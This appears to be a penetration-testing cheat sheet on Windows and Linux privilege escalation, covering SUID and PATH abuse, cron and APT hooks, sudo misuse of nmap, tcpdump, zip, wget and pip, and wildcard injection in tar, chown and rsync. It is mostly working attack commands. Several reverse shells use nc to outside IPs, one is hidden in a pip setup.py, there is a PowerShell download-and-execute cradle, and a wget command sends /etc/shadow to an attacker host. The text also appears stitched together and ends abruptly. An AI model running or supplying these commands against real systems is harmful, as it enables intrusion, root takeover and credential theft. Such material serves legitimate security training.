C:\Windows\WindowUpdate.log
Metasploit Local Exploit Suggestor
Metasploit local_exploit_suggester : The module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.NoteIt is utmost important that the meterpreter should be of the same architecture as your target machine, otherwise local exploits may fail. For example. if you have target as windows 64-bit machine, you should have 64-bit meterpreter.
Sherlock and PowerUp Powershell Script
- Sherlock PowerShell script by rastamouse to quickly find missing software patches for local privilege escalation vulnerabilities. If the Metasploit local_exploit_suggester didn’t resulted in any exploits. Probably, try Sherlock Powershell script to see if there any vuln which can be exploited.
- PowerUp : PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.
view-source:10.54.98.X/shell.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString("http://YourIP:8000/Sherlock.ps1"); | powershell -noprofile -
Windows Exploit Suggestor
Windows Exploit Suggestor : This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. Just copy the systeminfo information from the windows OS and compare the database.If we are getting the below error on running local exploits of getuid in meterpreter
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getuid: Operation failed: Access is denied.
Windows Kernel Exploits
Windows Kernel Exploits contains most of the compiled windows exploits. One way of running these is either upload these on victim system and execute. Otherwise, create a smb-server using Impacketusage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support] shareName sharePath
This script will launch a SMB Server and add a share specified as an argument. You need to be root in order to bind to port 445. No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP /tmp
positional arguments:
shareName name of the share to add
sharePath path of the share to add
impacket-smbserver <sharename> `pwd`
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
view-source:VictimIP/shell.php?cmd=\\YourIP\ShareName\ms15-051x64.exe whoami
*Considering shell.php is our php oneliner to execute commands.
Abusing Token Privileges
If we have the windows shell or meterpreter, we can type “whoami /priv” or if we have meterpreter, we can type “getprivs”If we have any of the below privileges, we can possibly utilize Rotten Potato
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
Linux Privilege Escalation
Techniques for Linux privilege escalation:Privilege escalation from g0tm1lk blog
Once, we have got the unprivileged shell, it is very important to check the below things- Did you tried “sudo -l” and check if we have any binaries which can be executed as root?
- Are there any binaries with Sticky, suid, guid.
- Are there any world-writable folders, files.
- Are there any world-execuable files.
- Which are the files owned by nobody (No user)
- Which are the files which are owned by a particular user but are not present in their home directory. (Mostly, the users have files and folders in /home directory. However, that’s not always the case.)
- What are the processes running on the machines? (ps aux). Remember, If something like knockd is running, we would come to know that Port Knocking is required.
- What are the packages installed? (dpkg -l for debian) (pip list for python packages). Maybe some vulnerable application is installed ready to be exploited (For example: chkroot version 0.49 or couchdb 1.7).
- What are the services running? (netstat -ln)
- Check the entries in the crontab!
- What are the files present in the /home/user folder? Are there any hidden files and folders? like .thunderbird/ .bash_history etc.
- What groups does the user belong to (adm, audio, video, disk)?
- What other users are logged on the linux box (command w)?
What “Advanced Linux File Permissions” are used?
Sticky bits, SUID & GUIDfind / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Where can written to and executed from?
A few ‘common’ places: /tmp, /var/tmp, /dev/shmfind / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type f 2>/dev/null # world-writeable files
find / -type f -perm -o+w -not -type l -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null # world-writeable files
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / -perm -o+x -type f 2>/dev/null # world-executable files
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
Any “problem” files?
Word-writeable, “nobody” filesfind / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Find files/ folder owned by the user
After compromising the machine with an unprivileged shell, /home would contains the users present on the system. Also, viewable by checking /etc/passwd. Many times, we do want to see if there are any files owned by those users outside their home directory.find / -user username 2> /dev/null
find / -group groupname 2> /dev/null
Tip
Find files by wheel/ adm users or the users in the home directory. If the user is member of other groups (such as audio, video, disk), it might be a good idea to check for files owned by particular groups.
Other Linux Privilege Escalation
Execution of binary from Relative location than Absolute
If we figure out that a suid binary is running with relative locations (for example let’s say backjob is running “id” and “scp /tmp/special ron@ton.home”)(figured out by running strings on the binary). The problem with this is, that it’s trying to execute a file/ script/ program on a RELATIVE location (opposed to an ABSOLUTE location like /sbin would be). And we will now exploit this to become root.Something like this:
system("/usr/bin/env echo and now what?");
echo "/bin/sh" >> /tmp/id
chmod +x /tmp/id
www-data@yummy:/tmp$ echo "/bin/sh" >> /tmp/id
www-data@yummy:/tmp$ export PATH=/tmp:$PATH
www-data@yummy:/tmp$ which id
/tmp/id
www-data@yummy:/tmp$ /opt/backjob
whoami
root
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
- /opt/backjob switches user context to root (as it is suid) and tries to run “scp or id”
- Linux searches the filesystem according to its path (here: in /tmp first)
- Our malicious /tmp/scp or /tmp/id gets found and executed as root
- A new bash opens with root privileges.
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Environment Variable Abuse
If the suid binary contains a code likeasprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
USER=";/bin/sh;"
echo $USER
;/bin/sh;
levelXX@:/home/flagXX$ ./flagXX
about to call system("/bin/echo ;/bin/sh; is cool")
sh-4.2$ id
uid=997(flagXX) gid=1003(levelXX) groups=997(flagXX),1003(levelXX)
World-Writable Folder with a Script executing any file in that folder using crontab
If there exists any world-writeable folder plus if there exists a cronjob which executes any script in that world-writeable folder such as#!/bin/sh
for i in /home/flagXX/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
echo "/bin/nc.traditional -e /bin/sh 192.168.56.1 22" > hello.sh
we can create a suid file to give us the privileged user permission
#!/bin/sh
gcc /var/tmp/shell.c -o /var/tmp/flagXX
chmod 4777 /var/tmp/flagXX
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
Symlink Creation
Multiple time, we would find that a suid binary belonging to another user is authorized to read a particular file. For example Let’s say there’s a suid binary called readExampleConf which can read a file named example.conf as a suid user. This binary can be tricked into reading any other file by creating a Symlink or a softlink. For example if we want to read /etc/shadow file which can be read by suid user. we can doln -s /etc/shadow /home/xxxxxx/example.conf
ln -s /home/xxx2/.ssh/id_rsa /home/xxxxxxx/example.conf
readExampleConf /home/xxxxxxx/example.conf
<Contents of shadow or id_rsa>
Directory Symlink
Let’s see what happens when we create a symlink of a directoryln -s /etc/ sym_file
ln -s /etc/ sym_fold/
sym_file -> /etc/
sym_fold:
total 0
lrwxrwxrwx 1 bitvijays bitvijays 5 Dec 2 19:31 etc -> /etc/
Time of check to time of use
In Unix, if a binary program such as below following C code (uses access to check the access of the specific file and to open a specific file), when used in a setuid program, has a TOCTTOU bug:if (access("file", W_OK) != 0) {
exit(1);
}
fd = open("file", O_WRONLY);
//read over /etc/shadow
read(fd, buffer, sizeof(buffer));
Attacker
//
//
// After the access check
symlink("/etc/shadow", "file");
// Before the open, "file" points to the password database
//
//
Let’s see how we can exploit this?
In the below code, we are linking the file which we have access (/tmp/hello.txt) and the file which we want to read (and currently don’t have access) (/home/flagXX/token). The f switch on ln makes sure we overwrite the existing symbolic link. We run it in the while true loop to create the race condition.
while true; do ln -sf /tmp/hello.txt /tmp/token; ln -sf /home/flagXX/token /tmp/token ; done
while true; do ./flagXX /tmp/token 192.168.56.1 ; done
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.
Writable /etc/passwd or account credentials came from a legacy unix system
- Passwords are normally stored in /etc/shadow, which is not readable by users. However, historically, they were stored in the world-readable file /etc/passwd along with all account information.
- For backward compatibility, if a password hash is present in the second column in /etc/passwd, it takes precedence over the one in /etc/shadow.
- Also, an empty second field in /etc/passwd means that the account has no password, i.e. anybody can log in without a password (used for guest accounts). This is sometimes disabled.
- If passwordless accounts are disabled, you can put the hash of a password of your choice. we can use the mkpasswd to generate password hashes, for example
Usage: mkpasswd [OPTIONS]... [PASSWORD [SALT]] Crypts the PASSWORD using crypt(3). -m, --method=TYPE select method TYPE -5 like --method=md5 -S, --salt=SALT use the specified SALT -R, --rounds=NUMBER use the specified NUMBER of rounds -P, --password-fd=NUM read the password from file descriptor NUM instead of /dev/tty -s, --stdin like --password-fd=0 -h, --help display this help and exit -V, --version output version information and exit mkpasswd can generate DES, MD5, SHA-256, SHA-512
- It’s possible to gain root access even if you can only append to /etc/passwd and not overwrite the contents. That’s because it’s possible to have multiple entries for the same user, as long as they have different names — users are identified by their ID, not by their name, and the defining feature of the root account is not its name but the fact that it has user ID 0. So you can create an alternate root account by appending a line that declares an account with another name, a password of your choice and user ID 0
Elevating privilege from a suid binary
If we have ability to create a suid binary, we can use eitherSuid.c
int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,”sh”,0); }
int main(void) {
setgid(0); setuid(0);
system("/bin/bash -p"); }
More details can be found at Common Pitfalls When Writing Exploits
Executing Python script with sudo
If there exists a python script which has a import statement and a user has a permission to execute it using sudo.<display_script.py>
#!/usr/bin/python3
import ftplib or import example
<Python code utilizing ftplib or example calling some function>
print (example.display())
sudo python display_script.py
<example.py>
#!/usr/bin/python3
import os
def display():
os.system("whoami")
exit()
Example
If we run our script with sudo (sudo myscript.py) then the environment variable $USER will be root and the environment variable $SUDO_USER will be the name of the user who executed the command sudo myscript.py. Consider the following scenario:
A linux user bob is logged into the system and possesses sudo privileges. He writes the following python script named myscript.py:
#!/usr/bin/python
import os
print os.getenv("USER")
print os.getenv("SUDO_USER")
sudo ./myscript.py
root
bob
./myscript.py
bob
None
MySQL Privileged Escalation
If mysql (version 4.x, 5.x) process is running as root and we do have the mysql root password and we are an unprivileged user, we can utilize User-Defined Function (UDF) Dynamic Library Exploit . Refer Gaining a root shell using mysql user defined functions and setuid binariesMore Information
- The MySQL service should really not run as root. The service and all mysql directories should be run and accessible from another account - mysql as an example.
- When MySQL is initialized, it creates a master account (root by default) that has all privileges to all databases on MySQL. This root account differs from the system root account, although it might still have the same password due to default install steps offered by MySQL.
- Commands can be executed inside MySQL, however, commands are executed as the current logged in user.
mysql> \! sh
Cron.d
Check cron.d and see if any script is executed as root at any time and is world writeable. If so, you can use to setuid a binary with /bin/bash and use it to get root.Unattended APT - Upgrade
If we have a ability to upload files to the host at any location (For. example misconfigured TFTP server) and APT-Update/ Upgrade is running at a set interval (Basically unattended-upgrade or via-a-cronjob), then we can use APT-Conf to run commandsDPKG
Debconf configuration is initiated with following line. The command in brackets could be any arbitrary command to be executed in shell.Dpkg::Pre-Install-Pkgs {"/usr/sbin/dpkg-preconfigure --apt || true";};
Dpkg::Pre-Invoke {"command";};
Dpkg::Post-Invoke {"command";};
APT
- APT::Update::Pre-Invoke {“your-command-here”};
- APT::Update::Post-Invoke-Success, which is invoked after successful updates (i.e. package information updates, not upgrades);
- APT::Update::Post-Invoke, which is invoked after updates, successful or otherwise (after the previous hook in the former case).
For example:
APT::Update::Post-Invoke{"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f";};
SUDO -l Permissions
Let’s see which executables have permission to run as sudo, We have collated the different methods to get a shell if the below applications are suid: nmap, tee, tcpdump, find, zip and package installers (pip, npm).nmap suid
nmap --script <(echo 'require "os".execute "/bin/sh"')
nmap --interactive
tee suid
If tee is suid: tee is used to read input and then write it to output and files. That means we can use tee to read our own commands and add them to any_script.sh, which can then be run as root by a user. If some script is run as root, you may also run. For example, let’s say tidy.sh is executed as root on the server, we can write the below code in temp.shtemp.sh
echo "example_user ALL=(ALL) ALL" > /etc/sudoers
chmod +w /etc/sudoers to add write properties to sudoers file to do the above
cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
tcpdump
The “-z postrotate-command” option (introduced in tcpdump version 4.0.0).Create a temp.sh ( which contains the commands to executed as root )
id
/bin/nc 192.168.110.1 4444 -e /bin/bash
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
-C file_size : Before writing a raw packet to a savefile, check whether the file is currently larger than file_size and, if so, close the current savefile and open a new one. Savefiles after the first savefile will have the name specified with the -w flag, with a number after it, starting at 1 and continuing upward. The units of file_size are millions of bytes (1,000,000 bytes, not 1,048,576 bytes).
-W Used in conjunction with the -C option, this will limit the number of files created to the specified number, and begin overwriting files from the beginning, thus creating a 'rotating' buffer. In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort correctly. Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit. If used with -C as well, the behavior will result in cyclical files per timeslice.
-z postrotate-command Used in conjunction with the -C or -G options, this will make tcpdump run " postrotate-command file " where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip will compress each savefile using gzip or bzip2.
Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn't disturb the capture process.
And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags & arguments arrangements and execute the command that you want.
-Z user
--relinquish-privileges=user If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user.
This behavior can also be enabled by default at compile time.
zip
touch /tmp/exploit
sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"
find
If find is suid, we can usetouch foo
find foo -exec whoami \;
HollyGrace has mentioned this in Linux PrivEsc: Abusing SUID More can be learn How-I-got-root-with-sudo.
wget
If the user has permission to run wget as sudo, we can read files (if the user whom we are sudo-ing have the permisson to read) by using –post-file parameterpost_file = file -- Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.
sudo -u root wget --post-file=/etc/shadow http://AttackerIP:Port
Package Installation
pipIf the user have been provided permission to install packages as a sudo for example
User username may run the following commands on hostname:
(root) /usr/bin/pip install *
First, create a folder (Let’s name it helloworld), and create two files setup.py and helloworld.py
username@hostname:/tmp/helloworld$ ls
helloworld.py setup.py
cat setup.py
from setuptools import setup
import os
print os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.26 4444 >/tmp/f")
setup(
name='helloworld-script', # This is the name of your PyPI-package.
version='0.1', # Update the version number for new releases
scripts=['helloworld'] # The name of your scipt, and also the command you'll be using for calling it
)
cat helloworld.py
#!/usr/bin/env python
print "Hello World"
The above package can be installed by using
sudo -u root /usr/bin/pip install -e /tmp/helloworld
Obtaining file:///tmp/helloworld
Refer Installing Packages for different ways to install a pip package
Let’s see the installed application
pip list
Flask-CouchDB (0.2.1)
helloworld-script (0.1, /tmp/helloworld)
Jinja2 (2.10)
npm allows packages to take actions that could result in a malicious npm package author to create a worm that spreads across the majority of the npm ecosystem. Refer npm fails to restrict the actions of malicious npm packages, npm install could be dangerous: Rimrafall and Package install scripts vulnerability
Unix Wildcards
The below text is directly from the DefenseCode Unix WildCards Gone Wild.Chown file reference trick (file owner hijacking)
First really interesting target I’ve stumbled across is ‘chown’. Let’s say that we have some publicly writeable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to ‘nobody’. Pay attention to the file owners in the following files list.[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php
[root@defensecode public]# chown -R nobody:nobody \*.php
root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
Let’s check chown manual page (man chown):
--reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values
To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the –reference option, file that’s owned by some other user, not ‘leon’, in that case he would become owner of all files in this directory. With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically “hijack” files that are of interest to us.
Even more, if user ‘leon’ previously created a symbolic link in that directory that points to let’s say /etc/shadow, ownership of /etc/shadow would also be changed to the user ‘leon’.
Chmod file reference trick
Another interesting attack vector similar to previously described ‘chown’ attack is ‘chmod’. Chmod also has –reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard. Chmod manual page (man chmod):--reference=RFILE : use RFILE's mode instead of MODE values
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
[root@defensecode public]# chmod 000 *
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php
-rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php
-rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php
Tar arbitrary command execution
Previous example is nice example of file ownership hijacking. Now, let’s go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is:[root@defensecode public]# tar cvvf archive.tar *
--checkpoint[=NUMBER] : display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION : execute ACTION on each checkpoint
Check the following directory:
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
[root@defensecode public]# tar cf archive.tar *
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the 'tar' program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution.
[root@defensecode public]# cat shell.sh
/usr/bin/id
Rsync arbitrary command execution
Rsync is “a fast, versatile, remote (and local) file-copying tool”, that is very common on Unix systems. If we check ‘rsync’ manual page, we can again find options that can be abused for arbitrary command execution.Rsync manual: “You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote.”
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
# rsync -t *.c foo:src/
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
[root@defensecode public]# rsync -t *.c foo:src/
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]
[root@defensecode public]# ls -al
total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt
Tips and Tricks
Windows
Get-ChildItem Mode Values
‘Mode’ values returned by PowerShell’s Get-ChildItem cmdlet?PS> gci|select mode,attributes -u
Mode Attributes
---- ----------
d----- Directory
d-r--- ReadOnly, Directory
d----l Directory, ReparsePoint
-a---- Archive
d - Directory
a - Archive
r - Read-only
h - Hidden
s - System
l - Reparse point, symlink, etc.
Zip or unzip using ONLY Windows’ built-in capabilities?
Powershell wayAdd-Type -A System.IO.Compression.FileSystem
[IO.Compression.ZipFile]::CreateFromDirectory('foo', 'foo.zip')
[IO.Compression.ZipFile]::ExtractToDirectory('foo.zip', 'bar')
Alternate Data Stream
Sometimes, Alternate Data Stream can be used to hide data in streams.The output shows not only the name of the ADS and its size, but also the unnamed data stream and its size is also listed (shown as :$DATA).
Powershell-Way
PS > Get-Item -Path C:\Users\Administrator\example.zip -stream *
Filename: C:\Users\Administrator\example.zip
Stream Length
------ -------
:$DATA 8
pass.txt 4
Get-Content -Path C:\Users\Administrator\example.zip -Stream pass.txt
The password is Passw0rd!
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
Current directory ADS Streams
dir /r | find ":$DATA"
dir /s /r | find ":$DATA"
more < testfile.txt:hidden_stream::$DATA
Redirecting Standard Out and Standard Error from PowerShell Start-Process
Often reverse shells will not display standard error. Sometimes they will not display standard out when a new process is started. The following will redirect standard out and standard error to text files when PowerShell starts a new process.PS C:\> Start-Process -FilePath C:\users\administrator\foo.txt -NoNewWindow -PassThru -Wait -RedirectStandardOutput stdout.txt -RedirectStandardError stderr.txt
NTDS.dit and SYSTEM hive
If you have found files such asIP_psexec.ntdsgrab._333512.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1
IP_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
ICMP Shell
